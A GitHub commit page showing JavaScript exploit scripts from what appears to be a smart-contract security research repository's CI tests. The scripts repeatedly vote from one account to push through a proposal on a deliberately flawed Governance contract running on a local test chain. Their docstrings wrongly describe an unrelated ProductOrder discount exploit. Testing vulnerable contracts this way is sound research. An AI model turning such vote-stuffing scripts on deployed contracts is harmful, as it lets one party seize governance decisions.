Skip to content

Commit 9e7fc46

Browse files
Merge pull request #129 from mojtaba-eshghie/feat_issue_123
Adding experiments
2 parents f7bd6c0 + f02fe32 commit 9e7fc46

File tree

560 files changed

+9467
-5450
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

560 files changed

+9467
-5450
lines changed

CI/exploits/synthesized-prompt-1/GovernanceExploit-2.js renamed to CI/exploits/synthesized-exploit-diversification/GovernanceExploit-1.js

Lines changed: 15 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -14,14 +14,14 @@ let governanceExploitLogger = getLogger('governance');
1414

1515
const { setTimeout } = require('timers');
1616
const { sleep } = require('@lib/os/process');
17-
const { createLoggerWeb3 } = require('@lib/web3/deploy');
17+
1818

1919

2020
// It seems module alias does not work with js path, so, we will resort to the dirty approach.
2121
const projectRoot = path.resolve(__dirname, '..', '..', '..');
2222
const contractsDir = path.join(projectRoot, './contracts');
23-
let contractFileFullName = 'Governance-2'
24-
let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8');
23+
let contractFileFullName = 'Governance'
24+
let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8');
2525
let solcVersion = extractSolcVersion(source);
2626
/**
2727
* Attempts to exploit a vulnerability in the ProductOrder smart contract.
@@ -35,41 +35,40 @@ let solcVersion = extractSolcVersion(source);
3535
* @returns {Promise<boolean>} A promise that resolves to `true` if the exploit is successful, `false` otherwise.
3636
* @throws {Error} If there's an error during the exploit process.
3737
*/
38-
3938
async function exploit(web3, envInfo, contractAddress) {
39+
4040
try {
4141
// Load the ABI of the Governance contract
42-
// Assuming you have already compiled and have the ABI
4342
const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion);
43+
4444
const contractInstance = new web3.eth.Contract(abi, contractAddress);
4545

4646
// Step 1: Create a proposal
4747
let createResult = await contractInstance.methods.createProposal().send({
4848
from: envInfo.accounts[0],
4949
gas: 3000000
5050
});
51-
await sleep(200);
52-
const proposalId = 0; // let's always target the first proposal in the list;
51+
const proposalId = 0;
5352
governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`);
5453

55-
// 5 seconds for reviewDuration but this time sleep too long to show that lack a proper require statement (commented) in the "vote" function will cause this to still go through even though the design suggests a deadline of 5 seconds since the time the proposal review time is over.
56-
governanceExploitLogger.debug(`Waiting for review period to end: sleeping for 5 seconds before voting for the first time!`);
57-
await sleep(10000);
54+
// Exploit the fact that voting counts are not correctly bounded
55+
await contractInstance.methods.vote(proposalId).send({
56+
from: envInfo.accounts[0],
57+
gas: 3000000
58+
});
5859

59-
// Step 2: Vote on the proposal multiple times using the same account
60-
for (let i = 0; i <= 3; i++) {
61-
console.log("Voting on the proposal...");
60+
// Repeat voting from the same account multiple times
61+
for (let i = 1; i <= 3; i++) {
6262
await contractInstance.methods.vote(proposalId).send({
6363
from: envInfo.accounts[0],
6464
gas: 3000000
6565
});
66-
await sleep(500);
6766
}
6867

6968
// Wait for grace period to finish
70-
console.log("Waiting for grace period to end... We need to wait 5 + 5 + 5 seconds since the creation of the proposal so we wait enough here to account for the remaining time of that 20 second total delay");
69+
console.log("Waiting for grace period to end...");
7170
await sleep(10000);
72-
71+
7372
// Step 3: Execute the proposal
7473
console.log("Executing the proposal...");
7574
const executeResult = await contractInstance.methods.executeProposal(proposalId).send({
@@ -88,12 +87,6 @@ async function exploit(web3, envInfo, contractAddress) {
8887

8988

9089

91-
92-
93-
94-
95-
96-
9790
/**
9891
* Executes the exploit and checks its result
9992
*
@@ -109,7 +102,6 @@ async function exploit(web3, envInfo, contractAddress) {
109102
module.exports = async function runTests(web3, envInfo, contractAddress) {
110103
// envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil
111104
console.log(`contractAddress: ${contractAddress}`)
112-
web3 = await createLoggerWeb3(web3);
113105
// Execute the exploit
114106
let result = await exploit(web3, envInfo, contractAddress);
115107
// See if exploit has yielded the predicted result (a very manual oracle!)
Lines changed: 111 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,111 @@
1+
require('module-alias/register');
2+
const fs = require('fs');
3+
const path = require('path');
4+
const assert = require('assert');
5+
const chalk = require('chalk');
6+
const {
7+
extractSolcVersion,
8+
compileWithVersion,
9+
deployContract
10+
} = require('@lib/web3/deploy');
11+
12+
const getLogger = require('@lib/logging/logger').getLogger;
13+
let governanceExploitLogger = getLogger('governance');
14+
15+
const { setTimeout } = require('timers');
16+
const { sleep } = require('@lib/os/process');
17+
18+
19+
20+
// It seems module alias does not work with js path, so, we will resort to the dirty approach.
21+
const projectRoot = path.resolve(__dirname, '..', '..', '..');
22+
const contractsDir = path.join(projectRoot, './contracts');
23+
let contractFileFullName = 'Governance'
24+
let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8');
25+
let solcVersion = extractSolcVersion(source);
26+
/**
27+
* Attempts to exploit a vulnerability in the ProductOrder smart contract.
28+
*
29+
* The exploit involves applying a discount just before the discountEndTime,
30+
* waiting for a few seconds, then making a transaction to pay for the order
31+
* at the discounted price, and finally confirming the order.
32+
*
33+
* @param {Object} web3 - The Web3 instance.
34+
* @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress.
35+
* @returns {Promise<boolean>} A promise that resolves to `true` if the exploit is successful, `false` otherwise.
36+
* @throws {Error} If there's an error during the exploit process.
37+
*/
38+
async function exploit(web3, envInfo, contractAddress) {
39+
40+
try {
41+
// Load the ABI of the Governance contract
42+
const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion);
43+
44+
const contractInstance = new web3.eth.Contract(abi, contractAddress);
45+
46+
// Step 1: Create a proposal
47+
let createResult = await contractInstance.methods.createProposal().send({
48+
from: envInfo.accounts[0],
49+
gas: 3000000
50+
});
51+
const proposalId = 0;
52+
governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`);
53+
54+
// Exploit the fact that voting counts are not correctly bounded
55+
await contractInstance.methods.vote(proposalId).send({
56+
from: envInfo.accounts[0],
57+
gas: 3000000
58+
});
59+
60+
// Repeat voting from the same account multiple times
61+
for (let i = 1; i <= 3; i++) {
62+
await contractInstance.methods.vote(proposalId).send({
63+
from: envInfo.accounts[0],
64+
gas: 3000000
65+
});
66+
}
67+
68+
// Wait for grace period to finish
69+
console.log("Waiting for grace period to end...");
70+
await sleep(10000);
71+
72+
// Step 3: Execute the proposal
73+
console.log("Executing the proposal...");
74+
const executeResult = await contractInstance.methods.executeProposal(proposalId).send({
75+
from: envInfo.accounts[0],
76+
gas: 3000000
77+
});
78+
governanceExploitLogger.info(`I am successful!`)
79+
return true;
80+
} catch (error) {
81+
console.error("Error in governance actions:", error);
82+
return false;
83+
}
84+
}
85+
86+
87+
88+
89+
90+
/**
91+
* Executes the exploit and checks its result
92+
*
93+
* This function will run the exploit and then verify if the exploit has
94+
* yielded the predicted result. If the exploit is successful, a success
95+
* message is displayed, otherwise an error message is shown.
96+
*
97+
* @param {Object} web3 - The Web3 instance.
98+
* @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress.
99+
* @returns {Promise<boolean>} A promise that resolves to `true` if the test is successful, `false` otherwise.
100+
* @throws {Error} If there's an error during the test execution.
101+
*/
102+
module.exports = async function runTests(web3, envInfo, contractAddress) {
103+
// envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil
104+
console.log(`contractAddress: ${contractAddress}`)
105+
// Execute the exploit
106+
let result = await exploit(web3, envInfo, contractAddress);
107+
// See if exploit has yielded the predicted result (a very manual oracle!)
108+
assert.strictEqual(result, true, "Exploit did not yield the expected result");
109+
110+
return result;
111+
}
Lines changed: 111 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,111 @@
1+
require('module-alias/register');
2+
const fs = require('fs');
3+
const path = require('path');
4+
const assert = require('assert');
5+
const chalk = require('chalk');
6+
const {
7+
extractSolcVersion,
8+
compileWithVersion,
9+
deployContract
10+
} = require('@lib/web3/deploy');
11+
12+
const getLogger = require('@lib/logging/logger').getLogger;
13+
let governanceExploitLogger = getLogger('governance');
14+
15+
const { setTimeout } = require('timers');
16+
const { sleep } = require('@lib/os/process');
17+
18+
19+
20+
// It seems module alias does not work with js path, so, we will resort to the dirty approach.
21+
const projectRoot = path.resolve(__dirname, '..', '..', '..');
22+
const contractsDir = path.join(projectRoot, './contracts');
23+
let contractFileFullName = 'Governance'
24+
let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8');
25+
let solcVersion = extractSolcVersion(source);
26+
/**
27+
* Attempts to exploit a vulnerability in the ProductOrder smart contract.
28+
*
29+
* The exploit involves applying a discount just before the discountEndTime,
30+
* waiting for a few seconds, then making a transaction to pay for the order
31+
* at the discounted price, and finally confirming the order.
32+
*
33+
* @param {Object} web3 - The Web3 instance.
34+
* @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress.
35+
* @returns {Promise<boolean>} A promise that resolves to `true` if the exploit is successful, `false` otherwise.
36+
* @throws {Error} If there's an error during the exploit process.
37+
*/
38+
async function exploit(web3, envInfo, contractAddress) {
39+
40+
try {
41+
// Load the ABI of the Governance contract
42+
const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion);
43+
44+
const contractInstance = new web3.eth.Contract(abi, contractAddress);
45+
46+
// Step 1: Create a proposal
47+
let createResult = await contractInstance.methods.createProposal().send({
48+
from: envInfo.accounts[0],
49+
gas: 3000000
50+
});
51+
const proposalId = 0;
52+
governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`);
53+
54+
// Exploit the fact that voting counts are not correctly bounded
55+
await contractInstance.methods.vote(proposalId).send({
56+
from: envInfo.accounts[0],
57+
gas: 3000000
58+
});
59+
60+
// Repeat voting from the same account multiple times
61+
for (let i = 1; i <= 3; i++) {
62+
await contractInstance.methods.vote(proposalId).send({
63+
from: envInfo.accounts[0],
64+
gas: 3000000
65+
});
66+
}
67+
68+
// Wait for grace period to finish
69+
console.log("Waiting for grace period to end...");
70+
await sleep(10000);
71+
72+
// Step 3: Execute the proposal
73+
console.log("Executing the proposal...");
74+
const executeResult = await contractInstance.methods.executeProposal(proposalId).send({
75+
from: envInfo.accounts[0],
76+
gas: 3000000
77+
});
78+
governanceExploitLogger.info(`I am successful!`)
79+
return true;
80+
} catch (error) {
81+
console.error("Error in governance actions:", error);
82+
return false;
83+
}
84+
}
85+
86+
87+
88+
89+
90+
/**
91+
* Executes the exploit and checks its result
92+
*
93+
* This function will run the exploit and then verify if the exploit has
94+
* yielded the predicted result. If the exploit is successful, a success
95+
* message is displayed, otherwise an error message is shown.
96+
*
97+
* @param {Object} web3 - The Web3 instance.
98+
* @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress.
99+
* @returns {Promise<boolean>} A promise that resolves to `true` if the test is successful, `false` otherwise.
100+
* @throws {Error} If there's an error during the test execution.
101+
*/
102+
module.exports = async function runTests(web3, envInfo, contractAddress) {
103+
// envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil
104+
console.log(`contractAddress: ${contractAddress}`)
105+
// Execute the exploit
106+
let result = await exploit(web3, envInfo, contractAddress);
107+
// See if exploit has yielded the predicted result (a very manual oracle!)
108+
assert.strictEqual(result, true, "Exploit did not yield the expected result");
109+
110+
return result;
111+
}

0 commit comments

Comments
 (0)